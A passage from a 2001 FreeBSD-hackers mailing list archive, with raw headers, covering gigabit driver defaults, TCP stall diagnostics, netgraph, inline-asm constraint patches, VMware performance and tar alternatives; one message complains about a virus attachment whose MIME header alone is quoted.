<20011129053437.284773808@overcee.netplex.com.au> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Smith wrote: > > > > > >The Intel driver will be the preferred driver for these cards. > > > > > > That still is under discussion. > > > > More to the point, let the respective drivers stand on their own merits. > > There is no need to "decide" for one or the other. > > This is, unfortunately, not entirely true. One of them is going to have to > be the default, since we can't have them both attach to the card. 8) Right now it's the user's choice. Neither are in GENERIC. We have a preload mechanism that can serve us well enough for this for the time being until it is clear what we should do. CDROM installs are most likely going to use cdldr soon so we will have the entire module suite available from loader. For boot floppies we should probably use the one that is smaller on disk.. but we also have the the embryonic "driver disk" in the pipeline for real floppy installs. Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 28 21:42:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from exuma.irbs.com (exuma.irbs.com [216.86.160.252]) by hub.freebsd.org (Postfix) with ESMTP id C9C2237B417 for ; Wed, 28 Nov 2001 21:42:39 -0800 (PST) Received: by exuma.irbs.com (Postfix, from userid 2500) id 1CE0A17406; Thu, 29 Nov 2001 00:42:34 -0500 (EST) Date: Thu, 29 Nov 2001 00:42:34 -0500 From: John Capo To: freebsd-hackers@freebsd.org Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129004234.A16101@exuma.irbs.com> Reply-To: jc@irbs.com References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <15364.38174.938500.946169@caddis.yogotech.com>; from nate@yogotech.com on Wed, Nov 28, 2001 at 12:41:18AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I started noticing some TCP weirdness when I moved my bandwidth stats site from my office to my colo facility last week. The colo is five miles away by road and 1200 miles away by network. Netscape would stop for seconds at a time while loading the graph images but there was no consistency. Worked properly sometimes and sometimes not. I also noticed a delay when dumping the contents of my spam reject db with a perl program. Output would pause for a second, start for a second, pause for a second, and so on. Piping the perl script to cat produces continuous output. I dismissed this behavior to network oddity since the web sites on my machines seemed to be running just fine. Now this thread comes along and I realize there is something wrong so I did a little testing. find / -print on one of my servers in a ssh session will fill the pipe to my office, 256K frame, and run nicely then get into the starting and stopping mode after a good amount of data has been sent. find / -print | dd obs=1 will screw up within a few seconds and stay that way. Netstat in another ssh session shows data ready to go: tcp4 0 15928 server.22 client.4427 ESTABLISHED This is a fragment from a dump on the server side while running find / -print | dd obs=1 21:41:46.328381 client.4427 > server.22: . ack 11249 win 17328 (DF) [tos 0x10] 21:41:46.335863 client.4427 > server.22: . ack 11345 win 17328 (DF) [tos 0x10] 21:41:46.342216 client.4427 > server.22: . ack 11441 win 17328 (DF) [tos 0x10] 21:41:46.396051 client.4427 > server.22: . ack 11489 win 17376 (DF) [tos 0x10] 21:41:46.418208 client.4427 > server.22: . ack 11489 win 17376 (DF) [tos 0x10] 21:41:47.460903 server.22 > client.4427: . 11489:12937(1448) ack 144 win 17376 (DF) [tos 0x10] 21:41:47.569133 client.4427 > server.22: . ack 12937 win 15928 (DF) [tos 0x10] 21:41:49.001039 client.4427 > server.22: P 144:192(48) ack 12937 win 17376 (DF) [tos 0x10] 21:41:49.001073 server.22 > client.4427: . 28049:29497(1448) ack 192 win 17328 (DF) [tos 0x10] 21:41:49.001085 server.22 > client.4427: P 29497:30313(816) ack 192 win 17328 (DF) [tos 0x10] 21:41:49.109131 client.4427 > server.22: . ack 12937 win 17376 (DF) [tos 0x10] Its been a while since I have had to analyze TCP dumps but it looks to me like the server received an ack at 21:41:47.569133 for byte 12937 but the server did not resume transmission till the duplicate ack at 21:41:49.001039. The starting and stopping continues every few seconds. The only other interesting thing I see is the client sending duplicate acks for byte 11489. Running netstat -p tcp -s on the server shows a retransmit timeout for each output pause. Full TCP stats: 689765 packets sent 208566 data packets (90677298 bytes) 1046 data packets (1187590 bytes) retransmitted 1 resend initiated by MTU discovery 292504 ack-only packets (21123 delayed) 0 URG only packets 11551 window probe packets 139170 window update packets 36928 control packets 906752 packets received 167629 acks (for 90004170 bytes) 10803 duplicate acks 0 acks for unsent data 706255 packets (792771342 bytes) received in-sequence 468 completely duplicate packets (5045 bytes) 15 old duplicate packets 10 packets with some dup. data (202 bytes duped) 480 out-of-order packets (241868 bytes) 6 packets (6 bytes) of data after window 6 window probes 3812 window update packets 33 packets received after close 2 discarded for bad checksums 0 discarded for bad header offset fields 0 discarded because packet too short There are no ip errors. I see exactly the same behavior on 3 -stable machines running kernels from late October and early November. Another -stable machine with a kernel from late September does pause but not as consistently as the later kernel machines do. The client machine is running a kernel from early November. Fxp cards nailed at 100Mbs full duplex in all machines connected to a Cisco 2924 with all ports nailed at 100Mbs full duplex. I am not seeing any link level errors on the machines or the switch. The pauses occur with or without newreno. Another difference between the machine that works better and the others that don't is the ones that reliably hang are SMP machines. Setting machdep.smp_active=0 does not change anything. Same test works fine on SMP machines in my office with kernels from the same time period. This is interesting, the same test in an ssh session from a 4.3-BETA machine to the same server pauses very briefly every minute or so but that could be a true dropped packet. I do see the retransmit counter on the server increment at the same rate. Same results with a W98 putty session running in vmware on a -stable machine. Something is borked. John Capo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 1:53:39 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from bugz.infotecs.ru (bugz.infotecs.ru [195.210.139.22]) by hub.freebsd.org (Postfix) with ESMTP id 8A2A537B429 for ; Thu, 29 Nov 2001 01:53:33 -0800 (PST) Received: (from root@localhost) by bugz.infotecs.ru (8.11.6/8.11.4) id fAT9rST21814; Thu, 29 Nov 2001 12:53:28 +0300 (MSK) (envelope-from vel) From: "Eugene L. Vorokov" Message-Id: <200111290953.fAT9rST21814@bugz.infotecs.ru> Subject: Re: To: _jgansle@gvtc.com (Jim Gansle) Date: Thu, 29 Nov 2001 12:53:27 +0300 (MSK) Cc: freebsd-hackers@freebsd.org In-Reply-To: from "Jim Gansle" at Nov 28, 2001 03:37:43 PM X-Mailer: ELM [version 2.5 PL5] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > --====_ABC1234567890DEF_==== > Content-Type: audio/x-wav; > name="New_Napster_Site.MP3.pif" > Content-Transfer-Encoding: base64 > Content-ID: You virus senders, please, do not send your viruses to this list. We all read mail under Unix and don't give a shit to these windows executables. It's just annoying, but doesn't give you anything. Thank you. Regards, Eugene To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 4:15:45 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 2C9DB37B433; Thu, 29 Nov 2001 04:15:34 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fATCFLR54980; Thu, 29 Nov 2001 04:15:26 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Cc: Subject: RE: (no subject) Date: Thu, 29 Nov 2001 04:15:21 -0800 Message-ID: <000e01c178cf$844d33e0$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <14e.4d05ff7.29371325@aol.com> Importance: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of >Nyteckjobs@aol.com >Sent: Wednesday, November 28, 2001 8:27 PM >To: freebsd-hackers@FreeBSD.ORG >Cc: freebsd-questions@FreeBSD.ORG; tedm@toybox.placo.com >Subject: (no subject) > > >The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that >have integrated bandwidth management and prioritization, WAN bridging >support, load balancing and a probably 25% performance advantage is a bit >entertaining. Unless you need to do some convoluted encapsulation netgraph >is, aside from being appallingly non-standard to anything else in >the market, > not much of an "advantage", and its a poster child for the trade off of >"flexibility" versus performance. > >Lets face it. If you were going to sit down and design an interface >for frame >relay, multi-protocol support, etc, you'd have to be smoking >something pretty >strong to come up with netgraph. But its free and there is source, so it >must be great! > Well, let me give you something else to put in your pipe and smoke. :-) I've spent about $800 on a few WANic 4xx cards (used, I'll grant) precisely because source for the driver is available. I happen to not use them with Frame circuits so I used the HDLC in the driver. I have spent $0.00 on ET cards precisely because the driver code is unavailable. Now, as I've never used ET cards, I'll take your statement at face value that their drivers are superior to the WANic one. But, I'm not going to pick a superior binary-only driver over an inferior source-freely-available driver, if I have a choice. You may think this is screwy but it's how I feel. I'm glad that ET is out there selling cards to the FreeBSD community but I wouldn't spend money on them as long as a source-freely-available alternative was around. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 4:29:57 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51]) by hub.freebsd.org (Postfix) with ESMTP id A6B5D37B426; Thu, 29 Nov 2001 04:29:47 -0800 (PST) Received: by tao.org.uk (Postfix, from userid 100) id 7FF0DCF; Thu, 29 Nov 2001 12:29:40 +0000 (GMT) Date: Thu, 29 Nov 2001 12:29:40 +0000 From: Josef Karthauser To: Nyteckjobs@aol.com Cc: freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, tedm@toybox.placo.com Subject: Re: (no subject) Message-ID: <20011129122940.B19084@tao.org.uk> Mail-Followup-To: Josef Karthauser , Nyteckjobs@aol.com, freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, tedm@toybox.placo.com References: <14e.4d05ff7.29371325@aol.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Bn2rw/3z4jIqBvZU" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <14e.4d05ff7.29371325@aol.com>; from Nyteckjobs@aol.com on Wed, Nov 28, 2001 at 11:27:17PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Bn2rw/3z4jIqBvZU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Nov 28, 2001 at 11:27:17PM -0500, Nyteckjobs@aol.com wrote: >=20 > The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that= =20 > have integrated bandwidth management and prioritization, WAN bridging=20 > support, load balancing and a probably 25% performance advantage is a bit= =20 > entertaining. Unless you need to do some convoluted encapsulation netgrap= h=20 > is, aside from being appallingly non-standard to anything else in the mar= ket,=20 > not much of an "advantage", and its a poster child for the trade off of= =20 > "flexibility" versus performance. >=20 > Lets face it. If you were going to sit down and design an interface for f= rame=20 > relay, multi-protocol support, etc, you'd have to be smoking something pr= etty=20 > strong to come up with netgraph. But its free and there is source, so it= =20 > must be great! Please please please! Have you read the source code for netgraph? It may be unintentional on your part but the above paragraph reads like you've made an assumption about what netgraph is and how it works and have decided that it's inefficient and therefore of not much use. Netgraph is great, but not because it's free and there is source. It's great because conceptually it's like lego, and in effeciency it's very quick. Netgraph hooks in device drivers are extremely useful. Who's smoking anything? You or me? Joe --Bn2rw/3z4jIqBvZU Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjwGKjMACgkQXVIcjOaxUBYUQQCeP80pu7YNirFKzuNcaMfyr6Dw Y7EAn3oWtYHhCirSZhg117KZqyslCCp+ =pNgX -----END PGP SIGNATURE----- --Bn2rw/3z4jIqBvZU-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 4:52:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from castle.jp.freebsd.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id 1768237B416 for ; Thu, 29 Nov 2001 04:52:12 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by castle.jp.freebsd.org (8.9.3+3.2W/8.7.3) with ESMTP id VAA62010 for ; Thu, 29 Nov 2001 21:52:10 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) In-Reply-To: <200111282004.aa22335@salmon.maths.tcd.ie> References: <20011129000718I.matusita@jp.FreeBSD.org> <200111282004.aa22335@salmon.maths.tcd.ie> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (alfalfa) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 16 From: Makoto Matsushita To: hackers@FreeBSD.ORG Subject: Re: FreeBSD on vmware Date: Thu, 29 Nov 2001 21:52:08 +0900 Message-Id: <20011129215208U.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG iedowse> ... but only if you spend most of your time running CPU benchmarks :-) That's right :-) iedowse> On slower CPUs (I was using a 400MHz PII), the interrupts can iedowse> soak up virtually all of the available processing capacity iedowse> without the patch. I suspect this effect is responsible for iedowse> the most dramatic speedups. I don't know that we can add a new option, maybe named 'VMWARE_GUEST', for specific hardware. But if someone (I don't know who) allows us to do, we all VMware users will be happy with it. -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 5:33:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from straylight.ringlet.net (sentinel.office1.bg [217.75.134.126]) by hub.freebsd.org (Postfix) with SMTP id 8262837B43A for ; Thu, 29 Nov 2001 05:33:25 -0800 (PST) Received: (qmail 940 invoked by uid 1000); 29 Nov 2001 13:32:39 -0000 Date: Thu, 29 Nov 2001 15:32:39 +0200 From: Peter Pentchev To: John Baldwin Cc: David Xu , freebsd-hackers@FreeBSD.ORG Subject: Re: add some constraints in cpufunc.h Message-ID: <20011129153238.A782@straylight.oblivion.bg> Mail-Followup-To: John Baldwin , David Xu , freebsd-hackers@FreeBSD.ORG References: <00e701c17264$a4617130$ef01a8c0@davidwnt> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jhb@FreeBSD.org on Wed, Nov 21, 2001 at 11:38:35AM -0800 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 11:38:35AM -0800, John Baldwin wrote: > > On 21-Nov-01 David Xu wrote: > > 4.4-stable, file sys/i386/include/cpufunc.h, > > > > --- cpufunc.h.orig Wed Nov 21 13:35:36 2001 > > +++ cpufunc.h Wed Nov 21 15:00:12 2001 > > @@ -72,7 +72,7 @@ > > { > > u_int result; > > > > - __asm __volatile("bsfl %0,%0" : "=r" (result) : "0" (mask)); > > + __asm __volatile("bsfl %0,%0" : "=r" (result) : "0" (mask) : "cc"); > > return (result); > > } > > > > @@ -81,7 +81,7 @@ > > { > > u_int result; > > > > - __asm __volatile("bsrl %0,%0" : "=r" (result) : "0" (mask)); > > + __asm __volatile("bsrl %0,%0" : "=r" (result) : "0" (mask) : "cc"); > > return (result); > > } > > > > @@ -305,7 +305,7 @@ > > u_int result; > > > > __asm __volatile("xorl %0,%0; xchgl %1,%0" > > - : "=&r" (result) : "m" (*addr)); > > + : "=&r" (result) : "m" (*addr) : "cc"); > > return (result); > > } > > > > Have you had actual bugs as a result of "cc" not being in the constraints? > > If so, there's a _lot_ more places that need this. All the atomic ops, for > example. How about PR gnu/32365? I know next to nothing about assembler opcodes, if "cc" would fix the PR, then the PR is a demonstration of an actual bug. G'luck, Peter -- I am the thought you are now thinking. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 7: 2:13 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 71BBD37B50D for ; Thu, 29 Nov 2001 07:02:10 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fATF29P42334 for hackers@FreeBSD.ORG; Thu, 29 Nov 2001 10:02:09 -0500 (EST) (envelope-from bicknell) Date: Thu, 29 Nov 2001 10:02:09 -0500 From: Leo Bicknell To: hackers@FreeBSD.ORG Subject: Re: Intel gigabit driver Message-ID: <20011129100209.A42016@ussenterprise.ufp.org> Mail-Followup-To: hackers@FreeBSD.ORG References: <200111290353.fAT3rIA08152@mass.dis.org> <20011129053437.284773808@overcee.netplex.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011129053437.284773808@overcee.netplex.com.au>; from peter@wemm.org on Wed, Nov 28, 2001 at 09:34:37PM -0800 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 28, 2001 at 09:34:37PM -0800, Peter Wemm wrote: > CDROM installs are most likely going to use cdldr soon so we will have the > entire module suite available from loader. For boot floppies we should > probably use the one that is smaller on disk.. but we also have the the > embryonic "driver disk" in the pipeline for real floppy installs. Not to get too far afield, but I might suggest the install people consider some middle ground. Right now I can mess with floppies for an install, or download a 600+ Meg ISO image to burn CD's. It would be extremly useful if I could download a 5-10 Meg ISO image for a CD that was essentially the floppy install (eg, download everything over the net), without having to wait for a 600 M download to finish over a slow link. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 7:31:10 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.inka.de (quechua.inka.de [212.227.14.2]) by hub.freebsd.org (Postfix) with ESMTP id CFC0E37B422 for ; Thu, 29 Nov 2001 07:31:03 -0800 (PST) Received: from kemoauc.mips.inka.de (uucp@) by mail.inka.de with local-bsmtp id 169T9T-000652-00; Thu, 29 Nov 2001 16:31:03 +0100 Received: (from daemon@localhost) by kemoauc.mips.inka.de (8.11.6/8.11.6) id fATEwL748970 for freebsd-hackers@freebsd.org; Thu, 29 Nov 2001 15:58:21 +0100 (CET) (envelope-from daemon) From: naddy@mips.inka.de (Christian Weisgerber) Subject: Re: tar and nodump flag Date: Thu, 29 Nov 2001 14:58:21 +0000 (UTC) Message-ID: <9u5ied$1fjf$1@kemoauc.mips.inka.de> References: <15363.38257.236253.85237@hyde.lpds.sublink.org> <20011127144343.W421-100000@beagle.fokus.gmd.de> Originator: naddy@mips.inka.de (Christian Weisgerber) To: freebsd-hackers@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Harti Brandt wrote: > Perhaps it makes sense to switch to star instead? The last version is > Posix conform, supports extended headers and ACLs. According to the star > developer (Joerg Schilling) GNU tar is severly broken. Unfortunately, star has it's own share of problems: - A highly idiosyncratic command syntax that is incompatible with traditional tar syntax. I think this is a killer. - It doesn't support incremental backups. That isn't a problem in itself, but it's a feature our GNU tar currently has and people probably don't want to lose. - An idiosyncratic build system. -- Christian "naddy" Weisgerber naddy@mips.inka.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 8: 5:12 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail6.speakeasy.net (mail6.speakeasy.net [216.254.0.206]) by hub.freebsd.org (Postfix) with ESMTP id D246737B433 for ; Thu, 29 Nov 2001 08:04:59 -0800 (PST) Received: (qmail 22570 invoked from network); 29 Nov 2001 16:05:15 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail6.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 29 Nov 2001 16:05:15 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20011129153238.A782@straylight.oblivion.bg> Date: Thu, 29 Nov 2001 08:04:44 -0800 (PST) From: John Baldwin To: Peter Pentchev Subject: Re: add some constraints in cpufunc.h Cc: freebsd-hackers@FreeBSD.ORG, David Xu Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 29-Nov-01 Peter Pentchev wrote: > On Wed, Nov 21, 2001 at 11:38:35AM -0800, John Baldwin wrote: >> >> On 21-Nov-01 David Xu wrote: >> > 4.4-stable, file sys/i386/include/cpufunc.h, >> > >> > --- cpufunc.h.orig Wed Nov 21 13:35:36 2001 >> > +++ cpufunc.h Wed Nov 21 15:00:12 2001 >> > @@ -72,7 +72,7 @@ >> > { >> > u_int result; >> > >> > - __asm __volatile("bsfl %0,%0" : "=r" (result) : "0" (mask)); >> > + __asm __volatile("bsfl %0,%0" : "=r" (result) : "0" (mask) : >> > "cc"); >> > return (result); >> > } >> > >> > @@ -81,7 +81,7 @@ >> > { >> > u_int result; >> > >> > - __asm __volatile("bsrl %0,%0" : "=r" (result) : "0" (mask)); >> > + __asm __volatile("bsrl %0,%0" : "=r" (result) : "0" (mask) : >> > "cc"); >> > return (result); >> > } >> > >> > @@ -305,7 +305,7 @@ >> > u_int result; >> > >> > __asm __volatile("xorl %0,%0; xchgl %1,%0" >> > - : "=&r" (result) : "m" (*addr)); >> > + : "=&r" (result) : "m" (*addr) : "cc"); >> > return (result); >> > } >> > >> >> Have you had actual bugs as a result of "cc" not being in the constraints? >> >> If so, there's a _lot_ more places that need this. All the atomic ops, for >> example. > > How about PR gnu/32365? I know next to nothing about assembler opcodes, > if "cc" would fix the PR, then the PR is a demonstration of an actual bug. > > G'luck, > Peter That PR is a bug in the actual compiler itself. I do have a rather largish patch of asm constraint fixes all across the sys/i386 tree in the kernel at www.freebsd.org/~jhb/patches/i386_asm.patch that includes these patches among other things. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 8: 5: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail6.speakeasy.net (mail6.speakeasy.net [216.254.0.206]) by hub.freebsd.org (Postfix) with ESMTP id D2B5137B447 for ; Thu, 29 Nov 2001 08:04:59 -0800 (PST) Received: (qmail 22577 invoked from network); 29 Nov 2001 16:05:15 -0000 Received: from unknown (HELO laptop.baldwin.cx) ([64.81.54.73]) (envelope-sender ) by mail6.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 29 Nov 2001 16:05:15 -0000 Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20011129100209.A42016@ussenterprise.ufp.org> Date: Thu, 29 Nov 2001 08:04:45 -0800 (PST) From: John Baldwin To: Leo Bicknell Subject: Re: Intel gigabit driver Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 29-Nov-01 Leo Bicknell wrote: > On Wed, Nov 28, 2001 at 09:34:37PM -0800, Peter Wemm wrote: >> CDROM installs are most likely going to use cdldr soon so we will have the >> entire module suite available from loader. For boot floppies we should >> probably use the one that is smaller on disk.. but we also have the the >> embryonic "driver disk" in the pipeline for real floppy installs. > > Not to get too far afield, but I might suggest the install people > consider some middle ground. > > Right now I can mess with floppies for an install, or download a > 600+ Meg ISO image to burn CD's. It would be extremly useful if > I could download a 5-10 Meg ISO image for a CD that was essentially > the floppy install (eg, download everything over the net), without > having to wait for a 600 M download to finish over a slow link. Yes, it's called the mini-iso and is basically the first CD w/o any ports or packages. The last one I built for current that didn't include Xfree86 was about 200 Meg. That also didn't include the ports collection or any of the docs. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 8: 6:33 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from castle.jp.freebsd.org (castle.jp.FreeBSD.org [210.226.20.15]) by hub.freebsd.org (Postfix) with ESMTP id E48DD37B41D for ; Thu, 29 Nov 2001 08:06:23 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by castle.jp.freebsd.org (8.9.3+3.2W/8.7.3) with ESMTP id BAA71663; Fri, 30 Nov 2001 01:06:20 +0900 (JST) (envelope-from matusita@jp.FreeBSD.org) Cc: hackers@FreeBSD.ORG In-Reply-To: <20011128172956.WPGP13130.mta09.onebox.com@onebox.com> References: <20011128172956.WPGP13130.mta09.onebox.com@onebox.com> X-User-Agent: Mew/1.94.2 XEmacs/21.5 (alfalfa) X-FaceAnim: (-O_O-)(O_O- )(_O- )(O- )(- -)( -O)( -O_)( -O_O)(-O_O-) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Dispatcher: imput version 20000228(IM140) Lines: 9 From: Makoto Matsushita To: glenngombert@onebox.com Subject: Re: FreeBSD on vmware Date: Fri, 30 Nov 2001 01:06:18 +0900 Message-Id: <20011130010618D.matusita@jp.FreeBSD.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG glenngombert> I could not even get 'Current' to boot at all under glenngombert> VMware 3.0 without applying the patch that was mentioned glenngombert> a couple weeks ago under Win2K... What goes wrong to you? Unable to boot with boot floppies? -- - Makoto `MAR' Matsushita To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 8:11:47 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from btclick.com (mta04.btfusion.com [62.172.195.246]) by hub.freebsd.org (Postfix) with ESMTP id B8B7337B432 for ; Thu, 29 Nov 2001 08:11:41 -0800 (PST) Received: from dedog.argus-systems.co.uk ([217.32.156.111]) by btclick.com (Netscape Messaging Server 4.15) with ESMTP id GNKKZF03.7HP for ; Thu, 29 Nov 2001 16:11:39 +0000 Received: (from fergus@localhost) by dedog.argus-systems.co.uk (8.11.6/8.11.1) id fATGBQj01673 for freebsd-hackers@FreeBSD.ORG; Thu, 29 Nov 2001 16:11:26 GMT (envelope-from fergus) Date: Thu, 29 Nov 2001 16:11:26 +0000 From: fergus To: freebsd-hackers@FreeBSD.ORG Subject: Re: tar and nodump flag Message-ID: <20011129161126.C1163@dedog.argus-systems.co.uk> Mail-Followup-To: freebsd-hackers@FreeBSD.ORG References: <15363.38257.236253.85237@hyde.lpds.sublink.org> <20011127144343.W421-100000@beagle.fokus.gmd.de> <9u5ied$1fjf$1@kemoauc.mips.inka.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: 